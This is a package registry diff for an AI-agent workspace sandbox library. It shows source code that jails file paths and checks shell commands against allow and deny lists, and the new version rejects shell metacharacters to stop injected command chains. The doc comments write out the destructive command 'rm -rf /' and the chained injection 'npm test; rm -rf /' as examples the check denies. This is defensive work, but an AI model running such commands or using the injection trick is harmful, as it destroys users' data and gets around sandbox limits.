@warlock.js/ai-workspace 4.15.0 → 5.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +15 -0
- package/cjs/index.cjs +242 -39
- package/cjs/index.cjs.map +1 -1
- package/esm/backends/local.d.mts.map +1 -1
- package/esm/backends/local.mjs +82 -16
- package/esm/backends/local.mjs.map +1 -1
- package/esm/contracts/workspace-policy.type.d.mts +9 -4
- package/esm/contracts/workspace-policy.type.d.mts.map +1 -1
- package/esm/errors.d.mts +8 -2
- package/esm/errors.d.mts.map +1 -1
- package/esm/errors.mjs +1 -0
- package/esm/errors.mjs.map +1 -1
- package/esm/ops.d.mts.map +1 -1
- package/esm/ops.mjs +54 -10
- package/esm/ops.mjs.map +1 -1
- package/esm/policy/policy.d.mts +9 -2
- package/esm/policy/policy.d.mts.map +1 -1
- package/esm/policy/policy.mjs +18 -9
- package/esm/policy/policy.mjs.map +1 -1
- package/esm/policy/tokenize-command.mjs +78 -0
- package/esm/policy/tokenize-command.mjs.map +1 -0
- package/esm/tools/run-tests.d.mts +6 -3
- package/esm/tools/run-tests.d.mts.map +1 -1
- package/esm/tools/run-tests.mjs +13 -4
- package/esm/tools/run-tests.mjs.map +1 -1
- package/llms-full.txt +22 -3
- package/llms.txt +1 -1
- package/package.json +3 -3
- package/skills/use-a-workspace/SKILL.md +22 -3
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"policy.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/policy/policy.ts"],"sourcesContent":["import path from \"node:path\";\nimport { realpath } from \"node:fs/promises\";\nimport { WorkspacePolicyError } from \"../errors\";\nimport type { WorkspacePolicy } from \"../contracts\";\n\n/**\n * The outcome of resolving a workspace-relative (or absolute) input path\n * against the jail — the canonical absolute location the backend should\n * touch, plus the workspace-relative form (POSIX-style, `/`-separated)\n * the agent and tool results echo back.\n */\nexport interface ResolvedPath {\n /** Canonical absolute path (symlinks in existing ancestors collapsed). */\n absolutePath: string;\n /**\n * The path relative to `policy.cwd`, `/`-separated regardless of OS,\n * used in tool results so the agent always sees stable workspace paths.\n * Empty string when the resolved path IS the jail root.\n */\n relativePath: string;\n}\n\n/**\n * Resolve the canonical absolute form of `target`, collapsing any\n * symlinks. `target` may not yet exist (a fresh `writeFile`/`mkdir`),\n * so we realpath the deepest **existing** ancestor and re-attach the\n * non-existent tail — a symlinked ancestor still cannot smuggle the\n * path out of the jail, while genuinely new leaves stay creatable.\n */\nasync function canonicalize(target: string): Promise<string> {\n let resolvedTarget = path.resolve(target);\n const tail: string[] = [];\n\n // Walk up until an existing ancestor is found (or we hit the root).\n // eslint-disable-next-line no-constant-condition\n while (true) {\n try {\n const real = await realpath(resolvedTarget);\n\n return tail.length > 0 ? path.join(real, ...tail) : real;\n } catch (error) {\n const code = (error as NodeJS.ErrnoException).code;\n\n // Only ENOENT means \"this segment doesn't exist yet\" — keep\n // walking up. Any other error (EACCES, ELOOP, …) is a real fault.\n if (code !== \"ENOENT\") {\n throw error;\n }\n\n const parent = path.dirname(resolvedTarget);\n\n // Reached the filesystem root without finding an existing\n // ancestor — give back the lexically-resolved path unchanged.\n if (parent === resolvedTarget) {\n return path.join(resolvedTarget, ...tail);\n }\n\n tail.unshift(path.basename(resolvedTarget));\n resolvedTarget = parent;\n }\n }\n}\n\n/**\n * Whether `child` is contained within `root` (or equals it), comparing\n * canonical absolute paths. Guards against the `/srv/app-evil` vs\n * `/srv/app` prefix-collision by anchoring on a path separator.\n */\nfunction isInside(child: string, root: string): boolean {\n const relative = path.relative(root, child);\n\n return (\n relative === \"\" ||\n (!relative.startsWith(\"..\") && !path.isAbsolute(relative))\n );\n}\n\n/**\n * Translate a glob (the small subset used by `denyPaths` — `*`, `**`,\n * `?`) into an anchored `RegExp` over a `/`-separated relative path.\n * `**` spans path separators; a single `*` does not.\n */\nfunction globToRegExp(glob: string): RegExp {\n let source = \"\";\n\n for (let index = 0; index < glob.length; index++) {\n const char = glob[index];\n\n if (char === \"*\") {\n if (glob[index + 1] === \"*\") {\n // `**` — match across segments (and an optional trailing slash).\n source += \".*\";\n index++;\n\n if (glob[index + 1] === \"/\") {\n index++;\n }\n } else {\n // `*` — match within a single segment.\n source += \"[^/]*\";\n }\n\n continue;\n }\n\n if (char === \"?\") {\n source += \"[^/]\";\n\n continue;\n }\n\n // Escape everything else so it matches literally.\n source += char.replace(/[.+^${}()|[\\]\\\\]/g, \"\\\\$&\");\n }\n\n return new RegExp(`^${source}$`);\n}\n\n/**\n * Whether a workspace-relative (`/`-separated) path matches any of the\n * policy's `denyPaths` globs. A deny glob also blocks everything beneath\n * a matched directory (`\".git/**\"` blocks `.git/config`).\n */\nfunction matchesDeny(relativePath: string, denyPaths: string[]): boolean {\n return denyPaths.some((glob) => {\n if (globToRegExp(glob).test(relativePath)) {\n return true;\n }\n\n // A bare directory glob (`\".git\"`, `\"node_modules\"`) should also\n // block its contents, mirroring how `\".git/**\"` would behave.\n if (!glob.includes(\"*\") && !glob.includes(\"?\")) {\n const prefix = glob.endsWith(\"/\") ? glob : `${glob}/`;\n\n return relativePath.startsWith(prefix);\n }\n\n return false;\n });\n}\n\n/**\n * Resolve and jail a single input path against a {@link WorkspacePolicy}.\n *\n * The input is resolved against `policy.cwd`, canonicalized (symlinks in\n * existing ancestors collapsed so a symlinked directory cannot escape\n * the jail), then accepted **only** when it sits under `cwd` or one of\n * the `allowPaths` roots. A path that escapes, or that matches any\n * `denyPaths` glob even while inside `cwd`, is rejected with a\n * {@link WorkspacePolicyError} of type `\"path-escape\"`.\n *\n * @param policy - The bounding policy (its `cwd` is the jail root).\n * @param inputPath - A workspace-relative or absolute path to resolve.\n * @returns The canonical absolute path plus its `/`-separated relative form.\n * @throws {WorkspacePolicyError} When the path escapes the jail or hits a deny glob.\n *\n * @example\n * const { absolutePath } = await resolveInJail(policy, \"src/index.ts\");\n */\nexport async function resolveInJail(\n policy: WorkspacePolicy,\n inputPath: string,\n): Promise<ResolvedPath> {\n const jailRoot = await canonicalize(policy.cwd);\n const requested = path.isAbsolute(inputPath)\n ? inputPath\n : path.join(policy.cwd, inputPath);\n const absolutePath = await canonicalize(requested);\n\n const insideCwd = isInside(absolutePath, jailRoot);\n const allowRoots = policy.allowPaths ?? [];\n let insideAllow = false;\n\n if (!insideCwd) {\n for (const root of allowRoots) {\n const canonicalRoot = await canonicalize(root);\n\n if (isInside(absolutePath, canonicalRoot)) {\n insideAllow = true;\n\n break;\n }\n }\n }\n\n if (!insideCwd && !insideAllow) {\n throw new WorkspacePolicyError(\n `Path \"${inputPath}\" resolves outside the workspace jail.`,\n { type: \"path-escape\", path: inputPath },\n );\n }\n\n // `denyPaths` is evaluated relative to the jail root and wins even\n // when the path is comfortably inside `cwd`.\n const relativeToJail = insideCwd\n ? path.relative(jailRoot, absolutePath).split(path.sep).join(\"/\")\n : \"\";\n\n if (insideCwd && policy.denyPaths && policy.denyPaths.length > 0) {\n if (matchesDeny(relativeToJail, policy.denyPaths)) {\n throw new WorkspacePolicyError(\n `Path \"${inputPath}\" is blocked by the workspace deny list.`,\n { type: \"path-escape\", path: inputPath },\n );\n }\n }\n\n return { absolutePath, relativePath: relativeToJail };\n}\n\n/**\n * Extract the leading executable basename from a command line — the\n * token the shell allow/deny policy is keyed on. `\"npm run build\"` →\n * `\"npm\"`; `\"/usr/bin/node app.js\"` → `\"node\"`; `\"node.exe app\"` →\n * `\"node\"` (the `.exe`/`.cmd`/`.bat` Windows extension is stripped).\n */\nfunction leadingExecutable(command: string): string {\n const trimmed = command.trim();\n const firstToken = trimmed.split(/\\s+/)[0] ?? \"\";\n const base = path.basename(firstToken);\n\n return base.replace(/\\.(exe|cmd|bat|com)$/i, \"\");\n}\n\n/**\n * Whether a shell command is permitted by the policy's `shell` sub-policy.\n *\n * The command's leading executable basename is matched against\n * `shell.deny` then `shell.allow`. **Deny always wins.** When\n * `shell.allow` is set, the executable MUST appear in it (fail-closed\n * allowlist); when `allow` is absent/empty, any non-denied command is\n * permitted. An absent `shell` block means no command may run at all.\n *\n * Returns a plain `boolean` rather than throwing — the ops layer raises\n * the {@link WorkspacePolicyError} so the thrown context (`command`)\n * lives next to the call site.\n *\n * @example\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test\"); // true\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"rm -rf /\"); // false\n */\nexport function isCommandAllowed(\n policy: WorkspacePolicy,\n command: string,\n): boolean {\n const shell = policy.shell;\n\n // No shell sub-policy ⇒ fail-closed: nothing may run.\n if (!shell) {\n return false;\n }\n\n const executable = leadingExecutable(command);\n\n if (executable === \"\") {\n return false;\n }\n\n // Deny wins over everything else.\n if (shell.deny && shell.deny.includes(executable)) {\n return false;\n }\n\n // An allowlist, when present, is exhaustive.\n if (shell.allow && shell.allow.length > 0) {\n return shell.allow.includes(executable);\n }\n\n // No allowlist: anything not explicitly denied is permitted.\n return true;\n}\n\n/**\n * Build the exact environment a spawned process receives — `process.env`\n * is **never** inherited wholesale. The result is\n * `{ ...pick(process.env, inheritEnv), ...shell.env }`, so a command\n * cannot see `PATH` (and thus often cannot find `node`/`npm`) unless the\n * policy opts in via `shell.inheritEnv: [\"PATH\"]`. Explicit `shell.env`\n * values override inherited ones on key collision.\n *\n * @example\n * buildEnv({ cwd, shell: { inheritEnv: [\"PATH\"], env: { CI: \"1\" } } });\n * // → { PATH: <process PATH>, CI: \"1\" }\n */\nexport function buildEnv(policy: WorkspacePolicy): Record<string, string> {\n const shell = policy.shell;\n const env: Record<string, string> = {};\n\n if (!shell) {\n return env;\n }\n\n for (const key of shell.inheritEnv ?? []) {\n const value = process.env[key];\n\n if (value !== undefined) {\n env[key] = value;\n }\n }\n\n if (shell.env) {\n for (const [key, value] of Object.entries(shell.env)) {\n env[key] = value;\n }\n }\n\n return env;\n}\n"],"mappings":"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"}
|
|
1
|
+
{"version":3,"file":"policy.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/policy/policy.ts"],"sourcesContent":["import path from \"node:path\";\r\nimport { realpath } from \"node:fs/promises\";\r\nimport { WorkspacePolicyError } from \"../errors\";\r\nimport { tokenizeCommand } from \"./tokenize-command\";\r\nimport type { WorkspacePolicy } from \"../contracts\";\r\n\r\n/**\r\n * The outcome of resolving a workspace-relative (or absolute) input path\r\n * against the jail — the canonical absolute location the backend should\r\n * touch, plus the workspace-relative form (POSIX-style, `/`-separated)\r\n * the agent and tool results echo back.\r\n */\r\nexport interface ResolvedPath {\r\n /** Canonical absolute path (symlinks in existing ancestors collapsed). */\r\n absolutePath: string;\r\n /**\r\n * The path relative to `policy.cwd`, `/`-separated regardless of OS,\r\n * used in tool results so the agent always sees stable workspace paths.\r\n * Empty string when the resolved path IS the jail root.\r\n */\r\n relativePath: string;\r\n}\r\n\r\n/**\r\n * Resolve the canonical absolute form of `target`, collapsing any\r\n * symlinks. `target` may not yet exist (a fresh `writeFile`/`mkdir`),\r\n * so we realpath the deepest **existing** ancestor and re-attach the\r\n * non-existent tail — a symlinked ancestor still cannot smuggle the\r\n * path out of the jail, while genuinely new leaves stay creatable.\r\n */\r\nasync function canonicalize(target: string): Promise<string> {\r\n let resolvedTarget = path.resolve(target);\r\n const tail: string[] = [];\r\n\r\n // Walk up until an existing ancestor is found (or we hit the root).\r\n // eslint-disable-next-line no-constant-condition\r\n while (true) {\r\n try {\r\n const real = await realpath(resolvedTarget);\r\n\r\n return tail.length > 0 ? path.join(real, ...tail) : real;\r\n } catch (error) {\r\n const code = (error as NodeJS.ErrnoException).code;\r\n\r\n // Only ENOENT means \"this segment doesn't exist yet\" — keep\r\n // walking up. Any other error (EACCES, ELOOP, …) is a real fault.\r\n if (code !== \"ENOENT\") {\r\n throw error;\r\n }\r\n\r\n const parent = path.dirname(resolvedTarget);\r\n\r\n // Reached the filesystem root without finding an existing\r\n // ancestor — give back the lexically-resolved path unchanged.\r\n if (parent === resolvedTarget) {\r\n return path.join(resolvedTarget, ...tail);\r\n }\r\n\r\n tail.unshift(path.basename(resolvedTarget));\r\n resolvedTarget = parent;\r\n }\r\n }\r\n}\r\n\r\n/**\r\n * Whether `child` is contained within `root` (or equals it), comparing\r\n * canonical absolute paths. Guards against the `/srv/app-evil` vs\r\n * `/srv/app` prefix-collision by anchoring on a path separator.\r\n */\r\nfunction isInside(child: string, root: string): boolean {\r\n const relative = path.relative(root, child);\r\n\r\n return (\r\n relative === \"\" ||\r\n (!relative.startsWith(\"..\") && !path.isAbsolute(relative))\r\n );\r\n}\r\n\r\n/**\r\n * Translate a glob (the small subset used by `denyPaths` — `*`, `**`,\r\n * `?`) into an anchored `RegExp` over a `/`-separated relative path.\r\n * `**` spans path separators; a single `*` does not.\r\n */\r\nfunction globToRegExp(glob: string): RegExp {\r\n let source = \"\";\r\n\r\n for (let index = 0; index < glob.length; index++) {\r\n const char = glob[index];\r\n\r\n if (char === \"*\") {\r\n if (glob[index + 1] === \"*\") {\r\n // `**` — match across segments (and an optional trailing slash).\r\n source += \".*\";\r\n index++;\r\n\r\n if (glob[index + 1] === \"/\") {\r\n index++;\r\n }\r\n } else {\r\n // `*` — match within a single segment.\r\n source += \"[^/]*\";\r\n }\r\n\r\n continue;\r\n }\r\n\r\n if (char === \"?\") {\r\n source += \"[^/]\";\r\n\r\n continue;\r\n }\r\n\r\n // Escape everything else so it matches literally.\r\n source += char.replace(/[.+^${}()|[\\]\\\\]/g, \"\\\\$&\");\r\n }\r\n\r\n return new RegExp(`^${source}$`);\r\n}\r\n\r\n/**\r\n * Whether a workspace-relative (`/`-separated) path matches any of the\r\n * policy's `denyPaths` globs. A deny glob also blocks everything beneath\r\n * a matched directory (`\".git/**\"` blocks `.git/config`).\r\n */\r\nfunction matchesDeny(relativePath: string, denyPaths: string[]): boolean {\r\n return denyPaths.some((glob) => {\r\n if (globToRegExp(glob).test(relativePath)) {\r\n return true;\r\n }\r\n\r\n // A bare directory glob (`\".git\"`, `\"node_modules\"`) should also\r\n // block its contents, mirroring how `\".git/**\"` would behave.\r\n if (!glob.includes(\"*\") && !glob.includes(\"?\")) {\r\n const prefix = glob.endsWith(\"/\") ? glob : `${glob}/`;\r\n\r\n return relativePath.startsWith(prefix);\r\n }\r\n\r\n return false;\r\n });\r\n}\r\n\r\n/**\r\n * Resolve and jail a single input path against a {@link WorkspacePolicy}.\r\n *\r\n * The input is resolved against `policy.cwd`, canonicalized (symlinks in\r\n * existing ancestors collapsed so a symlinked directory cannot escape\r\n * the jail), then accepted **only** when it sits under `cwd` or one of\r\n * the `allowPaths` roots. A path that escapes, or that matches any\r\n * `denyPaths` glob even while inside `cwd`, is rejected with a\r\n * {@link WorkspacePolicyError} of type `\"path-escape\"`.\r\n *\r\n * @param policy - The bounding policy (its `cwd` is the jail root).\r\n * @param inputPath - A workspace-relative or absolute path to resolve.\r\n * @returns The canonical absolute path plus its `/`-separated relative form.\r\n * @throws {WorkspacePolicyError} When the path escapes the jail or hits a deny glob.\r\n *\r\n * @example\r\n * const { absolutePath } = await resolveInJail(policy, \"src/index.ts\");\r\n */\r\nexport async function resolveInJail(\r\n policy: WorkspacePolicy,\r\n inputPath: string,\r\n): Promise<ResolvedPath> {\r\n const jailRoot = await canonicalize(policy.cwd);\r\n const requested = path.isAbsolute(inputPath)\r\n ? inputPath\r\n : path.join(policy.cwd, inputPath);\r\n const absolutePath = await canonicalize(requested);\r\n\r\n const insideCwd = isInside(absolutePath, jailRoot);\r\n const allowRoots = policy.allowPaths ?? [];\r\n let insideAllow = false;\r\n\r\n if (!insideCwd) {\r\n for (const root of allowRoots) {\r\n const canonicalRoot = await canonicalize(root);\r\n\r\n if (isInside(absolutePath, canonicalRoot)) {\r\n insideAllow = true;\r\n\r\n break;\r\n }\r\n }\r\n }\r\n\r\n if (!insideCwd && !insideAllow) {\r\n throw new WorkspacePolicyError(\r\n `Path \"${inputPath}\" resolves outside the workspace jail.`,\r\n { type: \"path-escape\", path: inputPath },\r\n );\r\n }\r\n\r\n // `denyPaths` is evaluated relative to the jail root and wins even\r\n // when the path is comfortably inside `cwd`.\r\n const relativeToJail = insideCwd\r\n ? path.relative(jailRoot, absolutePath).split(path.sep).join(\"/\")\r\n : \"\";\r\n\r\n if (insideCwd && policy.denyPaths && policy.denyPaths.length > 0) {\r\n if (matchesDeny(relativeToJail, policy.denyPaths)) {\r\n throw new WorkspacePolicyError(\r\n `Path \"${inputPath}\" is blocked by the workspace deny list.`,\r\n { type: \"path-escape\", path: inputPath },\r\n );\r\n }\r\n }\r\n\r\n return { absolutePath, relativePath: relativeToJail };\r\n}\r\n\r\n/**\r\n * Reduce an argv's first element to the basename the allow/deny policy is\r\n * keyed on. `\"npm\"` → `\"npm\"`; `\"/usr/bin/node\"` → `\"node\"`; `\"node.exe\"`\r\n * → `\"node\"` (the `.exe`/`.cmd`/`.bat`/`.com` Windows extension is\r\n * stripped).\r\n */\r\nfunction executableBasename(firstToken: string): string {\r\n const base = path.basename(firstToken);\r\n\r\n return base.replace(/\\.(exe|cmd|bat|com)$/i, \"\");\r\n}\r\n\r\n/**\r\n * Whether a shell command is permitted by the policy's `shell` sub-policy.\r\n *\r\n * The command is first tokenized via {@link tokenizeCommand} — a command\r\n * that cannot be represented as a single argv (unbalanced quotes, or\r\n * unquoted shell metacharacters such as `;`, `&&`, `|`, backticks, `$`,\r\n * redirection) is denied outright. The backend spawns the argv directly\r\n * with no shell, so such a command has no meaning here — and unquoted\r\n * metacharacters were exactly how an injected command chain used to ride\r\n * past the allowlist. The resolved `argv[0]` basename is then matched\r\n * against `shell.deny` then `shell.allow`. **Deny always wins.** When\r\n * `shell.allow` is set, the executable MUST appear in it (fail-closed\r\n * allowlist); when `allow` is absent/empty, any non-denied command is\r\n * permitted. An absent `shell` block means no command may run at all.\r\n *\r\n * Returns a plain `boolean` rather than throwing — the ops layer raises\r\n * the {@link WorkspacePolicyError} so the thrown context (`command`)\r\n * lives next to the call site.\r\n *\r\n * @example\r\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test\"); // true\r\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"rm -rf /\"); // false\r\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test; rm -rf /\"); // false\r\n */\r\nexport function isCommandAllowed(\r\n policy: WorkspacePolicy,\r\n command: string,\r\n): boolean {\r\n const shell = policy.shell;\r\n\r\n // No shell sub-policy ⇒ fail-closed: nothing may run.\r\n if (!shell) {\r\n return false;\r\n }\r\n\r\n const argv = tokenizeCommand(command);\r\n\r\n if (argv === null) {\r\n return false;\r\n }\r\n\r\n const executable = executableBasename(argv[0]);\r\n\r\n if (executable === \"\") {\r\n return false;\r\n }\r\n\r\n // Deny wins over everything else.\r\n if (shell.deny && shell.deny.includes(executable)) {\r\n return false;\r\n }\r\n\r\n // An allowlist, when present, is exhaustive.\r\n if (shell.allow && shell.allow.length > 0) {\r\n return shell.allow.includes(executable);\r\n }\r\n\r\n // No allowlist: anything not explicitly denied is permitted.\r\n return true;\r\n}\r\n\r\n/**\r\n * Build the exact environment a spawned process receives — `process.env`\r\n * is **never** inherited wholesale. The result is\r\n * `{ ...pick(process.env, inheritEnv), ...shell.env }`, so a command\r\n * cannot see `PATH` (and thus often cannot find `node`/`npm`) unless the\r\n * policy opts in via `shell.inheritEnv: [\"PATH\"]`. Explicit `shell.env`\r\n * values override inherited ones on key collision.\r\n *\r\n * @example\r\n * buildEnv({ cwd, shell: { inheritEnv: [\"PATH\"], env: { CI: \"1\" } } });\r\n * // → { PATH: <process PATH>, CI: \"1\" }\r\n */\r\nexport function buildEnv(policy: WorkspacePolicy): Record<string, string> {\r\n const shell = policy.shell;\r\n const env: Record<string, string> = {};\r\n\r\n if (!shell) {\r\n return env;\r\n }\r\n\r\n for (const key of shell.inheritEnv ?? []) {\r\n const value = process.env[key];\r\n\r\n if (value !== undefined) {\r\n env[key] = value;\r\n }\r\n }\r\n\r\n if (shell.env) {\r\n for (const [key, value] of Object.entries(shell.env)) {\r\n env[key] = value;\r\n }\r\n }\r\n\r\n return env;\r\n}\r\n"],"mappings":"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